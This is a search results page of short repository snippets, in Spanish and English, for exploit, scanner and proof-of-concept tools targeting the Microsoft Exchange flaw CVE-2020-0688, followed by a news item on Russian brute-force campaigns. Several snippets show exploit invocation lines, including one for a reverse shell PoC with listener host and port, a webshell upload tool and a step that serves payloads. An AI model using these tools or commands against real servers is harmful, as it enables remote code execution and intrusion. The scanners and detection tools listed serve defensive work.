46 matches found
CVE-2020-0688-GUI
1. Propósito del proyecto y referencias El propósito es simple: últimamente me he estado preparando para escribir un C2 en C de nuevo, así que primero escribo algunas pequeñas herramientas para practicar y aumentar el interés. Entonces se me ocurrió convertir la herramienta del gran zcgonvh en un...
CVE-2020-0688-Scanner
CVE-2020-0688-Scanner Quick C tool for checking CVE-2020-0688 on multiple hosts with a non-intrusive method. Features Scan hosts from an input file. Passive check : grab exchange version by scraping html content. Produces an output file. Demo How to use Prerequisite Windows .NET framework 4.5.2...
CVE-2020-0688
python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...
CVE-2020-0688
Exploit and detect tools for CVE-2020-0688Microsoft Exchange default MachineKeySection deserialize vulnerability build root@kitploit: csc ExchangeCmd.cs csc ExchangeDetect.cs usage root@kitploit: ExchangeDetect root@kitploit: ExchangeCmd sub commands: exec args exec command arch get remote proces...
cve-2020-0688-webshell-upload-technique
Ejecución Remota de Código en Exchange cve-2020-0688 - RED TEAM MODO ACTIVADO requiere: python3+ UNIVERSAL Implementación en Python para cve-2020-0688, utilizando webshell ASPX para salida de comandos personalizada Esto es solo un POC para facilitar demostraciones de vulnerabilidades por razones ...
CVE-2020-0688
CVE-2020-0688 CVE-2020-0688: Ejecución remota de código en Microsoft Exchange Server mediante claves criptográficas fijas Cómo ejecutar ysonet.exe: descargar desde aquí Ejecutar el servidor HTTP: root@kitploit: python3 -m http.server 8000 Cambiar targeturl y tu dirección IP en el comando pwsh...
CVE-2020-0688-Python3
Obtuve este código de Packet Storm. Usé una variedad de métodos principalmente 2to3 y mucho esfuerzo tedioso y manual para que esto funcione correctamente con Python3. ¡Disfrútalo!...
PSForgot2kEyXCHANGE
PSForgot2kEyXCHANGE PoC para Forgot2kEyXCHANGE CVE-2020-0688 escrito en PowerShell Uso Este PoC requiere un nombre de usuario y contraseña válidos. Este PoC usa ysoserial.net para crear el nuevo ViewState que contiene el comando que especificaste en el parámetro -Command. Si aún no lo tienes...
CVE-2020-0688-Exchange2010
El principal problema con Exchange2010 es que está basado en .NET 2.0 y los gadgets de deserialización genéricos no funcionan. Todos los créditos van para zcgonvh y EazyLov3. El proyecto es simplemente una combinación de: https://github.com/zcgonvh/CVE-2020-0688/ https://www.buaq.net/go-41757.htm...
CVE-2020-0688-Scanner
CVE-2020-0688-Scanner Este script escanea una IP/rango/CIDR y muestra los servidores Microsoft Exchange y las versiones descubiertas. La IP/rango/CIDR especificada se escaneará con masscan en el puerto tcp/443. Después de un escaneo exitoso, intenta hacer HTTP GET "/owa/auth/logon.aspx" con curl...
Cyber-Attack-Analysis
Caso de Estudio de Ciberseguridad: La Brecha de Virgin Mobile KSA en 2020 📌 Resumen Ejecutivo En 2020, un incidente de seguridad significativo comprometió a Virgin Mobile KSA, provocando el robo de datos sensibles, incluyendo comunicaciones de empleados e información personal de más de 1,000...
ecp_slap
ecpslap This proof-of-concept for CVE-2020-0688 includes functions for the scanning and exploitation of a vulnerable on-prem Exchange instance. Usage scan - provide credentials and target information to obtain cookies required for exploitation and saves them to 'cookies.txt'. Also checks for...
CVE-2020-0688
Este repositorio no tiene un README...
cve-2020-0688
cve-2020-0688 I made this script for conducting CVE-2020-0688 more rapidly. It helps to improve checking the vuln, reducing hugely steps for that. Modify these inputs before running the file. url = "https://mail.something.com" input 1 command = "cmd /c echo OOOPS!!! c:/truongtn.txt" input2...
CVE-2020-0688
CVE-2020-0688 Working Exploit PoC CVE-2020-0688 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
CVE-2020-0688
Escáner CVE-2020-0688 Este es un pequeño y sucio script para comprobar servidores Exchange vulnerables a CVE-2020-0688. Está escrito de forma fea y en PHP. Precaución: Solo comprueba si tienes instalada la actualización CU actual. ¡Eso no significa que hayas instalado el parche de corrección!...
Exploit for Improper Authentication in Microsoft
cve-2020-0688 Usage: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD, --password...
Exploit for Improper Authentication in Microsoft
I. Project Objectives and References The purpose is simple: r...
NSA, FBI Reveal Hacking Methods Used by Russian Military Hackers
An ongoing brute-force attack campaign targeting enterprise cloud environments has been spearheaded by the Russian military intelligence since mid-2019, according to a joint advisory published by intelligence agencies in the U.K. and U.S. The National Security Agency NSA, Cybersecurity and...